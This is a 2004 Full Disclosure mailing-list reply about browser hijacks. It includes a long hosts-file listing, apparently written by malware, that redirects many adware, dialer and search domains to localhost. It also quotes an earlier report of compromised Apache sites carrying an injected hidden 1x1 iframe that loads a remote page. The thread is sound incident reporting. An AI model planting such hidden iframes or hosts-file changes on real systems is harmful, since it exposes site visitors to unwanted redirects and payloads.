Full Disclosure mailing list archives
Re:browser hijack by apache sites
From: "Ian Latter" <Ian.Latter () mq edu au>
Date: Mon, 24 May 2004 12:30:44 +1000
Hello Flibert, I keep watching my auto-patching XP Home junk-box getting done with techniques like this, while some rarely-patched XP Pros that I look in, on, aren't. I don't care anough about my junk machine to lock it down, but the number of these browser hijacks is a bit much .. the last one wast cute .. it did this to hosts .. (I think it felt sympathetic); 127.0.0.1 ruworld.com 127.0.0.1 69.50.170.125 127.0.0.1 213.159.118.226 127.0.0.1 63.219.178.91 127.0.0.1 63.219.181.7 127.0.0.1 maxxxhosters.com 127.0.0.1 64.237.46.147 127.0.0.1 therealsearch.com 127.0.0.1 213.159.117.236 127.0.0.1 thumbest-traffic.com 127.0.0.1 600pics.com 127.0.0.1 tonser.4-counter.com 127.0.0.1 66.230.145.49 127.0.0.1 free.sinpussy.com 127.0.0.1 hightcalldialer.com 127.0.0.1 bestpornnews.com 127.0.0.1 thumberland.com 127.0.0.1 greg-search.com 127.0.0.1 connect.online-dialer.com 127.0.0.1 0190-dialer.com 127.0.0.1 approvedlinks.com 127.0.0.1 install.xxxtoolbar.com 127.0.0.1 download.buxomatic.com 127.0.0.1 dia.4-counter.com 127.0.0.1 vse-moe.biz 127.0.0.1 crue.global-counter.com 127.0.0.1 line-plus.com 127.0.0.1 porno-links.biz 127.0.0.1 download.tntdialer.com 127.0.0.1 freelivesex.org 127.0.0.1 free3xmatures.com 127.0.0.1 bestpics.net 127.0.0.1 dikai.com 127.0.0.1 world-search.biz 127.0.0.1 1-se.com 127.0.0.1 58q.com 127.0.0.1 aifind.cc 127.0.0.1 aifind.info 127.0.0.1 allneedsearch.com 127.0.0.1 auto.ie.searchforge.com 127.0.0.1 awebfind.biz 127.0.0.1 best.royalsearch.net 127.0.0.1 cracks.am 127.0.0.1 default-homepage-network.com 127.0.0.1 find.microgirls.com 127.0.0.1 find4u.net 127.0.0.1 freshvideogals.com 127.0.0.1 i-lookup.com 127.0.0.1 ie-search.com 127.0.0.1 in.webcounter.cc 127.0.0.1 itseasy.us 127.0.0.1 just.find-itnow.com 127.0.0.1 link.startmake.com 127.0.0.1 mysearchnow.com 127.0.0.1 nativehardcore.com 127.0.0.1 qwertysearch123.biz 127.0.0.1 search.ieplugin.com 127.0.0.1 search.psn.cn 127.0.0.1 searchbar.findthewebsiteyouneed.com 127.0.0.1 searchcentrix.com 127.0.0.1 searchmyrequest.com 127.0.0.1 super-spider.com 127.0.0.1 t.rack.cc 127.0.0.1 teen-biz.com 127.0.0.1 teenhqpics.com 127.0.0.1 tits.hardcore4ever.net 127.0.0.1 webcoolsearch.com 127.0.0.1 wmmse.com 127.0.0.1 008i.com 127.0.0.1 2fastsearch.net 127.0.0.1 8095.com 127.0.0.1 alfa-search.com 127.0.0.1 boredlife.com 127.0.0.1 couldnotfind.com 127.0.0.1 cracks.am 127.0.0.1 daum.net 127.0.0.1 dreamwiz.com 127.0.0.1 find-itnow.com 127.0.0.1 find4u.net 127.0.0.1 firstbookmark.com 127.0.0.1 gajai.com 127.0.0.1 hand-book.com 127.0.0.1 hao123.com 127.0.0.1 hotsearchbox.com 127.0.0.1 hotwebsearch.com 127.0.0.1 hugesearch.net 127.0.0.1 iquicksearch.com 127.0.0.1 lookfor.cc 127.0.0.1 naver.com 127.0.0.1 nkvd.us 127.0.0.1 novafuck.com 127.0.0.1 ohcorea.com 127.0.0.1 omega-search.com 127.0.0.1 onet.pl 127.0.0.1 power-search.info 127.0.0.1 rightfinder.net 127.0.0.1 search-1.net 127.0.0.1 search-and-go.com 127.0.0.1 search-dot.com 127.0.0.1 search-space.com 127.0.0.1 searchforge.com 127.0.0.1 searching-the-net.com 127.0.0.1 searchv.com 127.0.0.1 searchxl.com 127.0.0.1 seznam.cz 127.0.0.1 slotch.com 127.0.0.1 spidersearch.com 127.0.0.1 startium.com 127.0.0.1 ttjj.com 127.0.0.1 viewpornkey.com 127.0.0.1 wazzupnet.com 127.0.0.1 websearch.com 127.0.0.1 windowws.cc 127.0.0.1 xgmm.com 127.0.0.1 xwebsearch.biz 127.0.0.1 yourbookmarks.ws 127.0.0.1 www.ruworld.com 127.0.0.1 www.maxxxhosters.com 127.0.0.1 www.therealsearch.com 127.0.0.1 www.thumbest-traffic.com 127.0.0.1 www.600pics.com 127.0.0.1 www.hightcalldialer.com 127.0.0.1 www.bestpornnews.com 127.0.0.1 www.thumberland.com 127.0.0.1 www.greg-search.com 127.0.0.1 www.0190-dialer.com 127.0.0.1 www.approvedlinks.com 127.0.0.1 www.vse-moe.biz 127.0.0.1 www.line-plus.com 127.0.0.1 www.porno-links.biz 127.0.0.1 www.freelivesex.org 127.0.0.1 www.free3xmatures.com 127.0.0.1 www.bestpics.net 127.0.0.1 www.dikai.com 127.0.0.1 www.world-search.biz 127.0.0.1 www.1-se.com 127.0.0.1 www.58q.com 127.0.0.1 www.aifind.cc 127.0.0.1 www.aifind.info 127.0.0.1 www.allneedsearch.com 127.0.0.1 www.awebfind.biz 127.0.0.1 www.cracks.am 127.0.0.1 www.default-homepage-network.com 127.0.0.1 www.find4u.net 127.0.0.1 www.freshvideogals.com 127.0.0.1 www.i-lookup.com 127.0.0.1 www.ie-search.com 127.0.0.1 www.itseasy.us 127.0.0.1 www.mysearchnow.com 127.0.0.1 www.nativehardcore.com 127.0.0.1 www.qwertysearch123.biz 127.0.0.1 www.searchcentrix.com 127.0.0.1 www.searchmyrequest.com 127.0.0.1 www.super-spider.com 127.0.0.1 www.teen-biz.com 127.0.0.1 www.teenhqpics.com 127.0.0.1 www.webcoolsearch.com 127.0.0.1 www.wmmse.com 127.0.0.1 www.008i.com 127.0.0.1 www.2fastsearch.net 127.0.0.1 www.8095.com 127.0.0.1 www.alfa-search.com 127.0.0.1 www.boredlife.com 127.0.0.1 www.couldnotfind.com 127.0.0.1 www.cracks.am 127.0.0.1 www.daum.net 127.0.0.1 www.dreamwiz.com 127.0.0.1 www.find-itnow.com 127.0.0.1 www.find4u.net 127.0.0.1 www.firstbookmark.com 127.0.0.1 www.gajai.com 127.0.0.1 www.hand-book.com 127.0.0.1 www.hao123.com 127.0.0.1 www.hotsearchbox.com 127.0.0.1 www.hotwebsearch.com 127.0.0.1 www.hugesearch.net 127.0.0.1 www.iquicksearch.com 127.0.0.1 www.lookfor.cc 127.0.0.1 www.naver.com 127.0.0.1 www.nkvd.us 127.0.0.1 www.novafuck.com 127.0.0.1 www.ohcorea.com 127.0.0.1 www.omega-search.com 127.0.0.1 www.onet.pl 127.0.0.1 www.power-search.info 127.0.0.1 www.rightfinder.net 127.0.0.1 www.search-1.net 127.0.0.1 www.search-and-go.com 127.0.0.1 www.search-dot.com 127.0.0.1 www.search-space.com 127.0.0.1 www.searchforge.com 127.0.0.1 www.searching-the-net.com 127.0.0.1 www.searchv.com 127.0.0.1 www.searchxl.com 127.0.0.1 www.seznam.cz 127.0.0.1 www.slotch.com 127.0.0.1 www.spidersearch.com 127.0.0.1 www.startium.com 127.0.0.1 www.ttjj.com 127.0.0.1 www.viewpornkey.com 127.0.0.1 www.wazzupnet.com 127.0.0.1 www.websearch.com 127.0.0.1 www.windowws.cc 127.0.0.1 www.xgmm.com 127.0.0.1 www.xwebsearch.biz 127.0.0.1 www.yourbookmarks.ws I haven't been through your posted site .. but maybe (a little randomly) that list is relevant .. ----- Original Message -----
From: "Filbert" <filbert () pandora be> To: <full-disclosure () lists netsys com> Subject: [Full-disclosure] browser hijack by apache sites Date: Sun, 23 May 2004 15:19:30 +0200 Hi, This is the second time this weekend that I've been warned of an apache site on a Linux server were a line of code was added to redirect browsers to porn sites. First was the site of a Belgian political party. Second came today, and as of writing this it's still there. The admin was informed so it can be gone soon. hxxp://www.previsit.com/carrefour/nl/ <- hxxp must changed to http IE users do NOT click. the code added at the bottom is: <iframe SRC="http://www.b00gle.com/fa/?d=get" WIDTH=1 HEIGHT=1></iframe></body> anyone seen this before? What vulnerability is exploited here? FP? Thx, Filb. -- echo "+++ATH0filb@+++ATH0filb () linuxmail org" | sed 's/+++ATH0//g' _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
-- Ian Latter Internet and Networking Security Officer Macquarie University _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- browser hijack by apache sites Filbert (May 23)
- <Possible follow-ups>
- Re: browser hijack by apache sites D B (May 23)
- Re:browser hijack by apache sites Ian Latter (May 23)
- browser hijack by apache sites Feher Tamas (May 24)
- Re: browser hijack by apache sites Filbert (May 24)
- Re: browser hijack by apache sites Matthijs Dalhuijsen (May 25)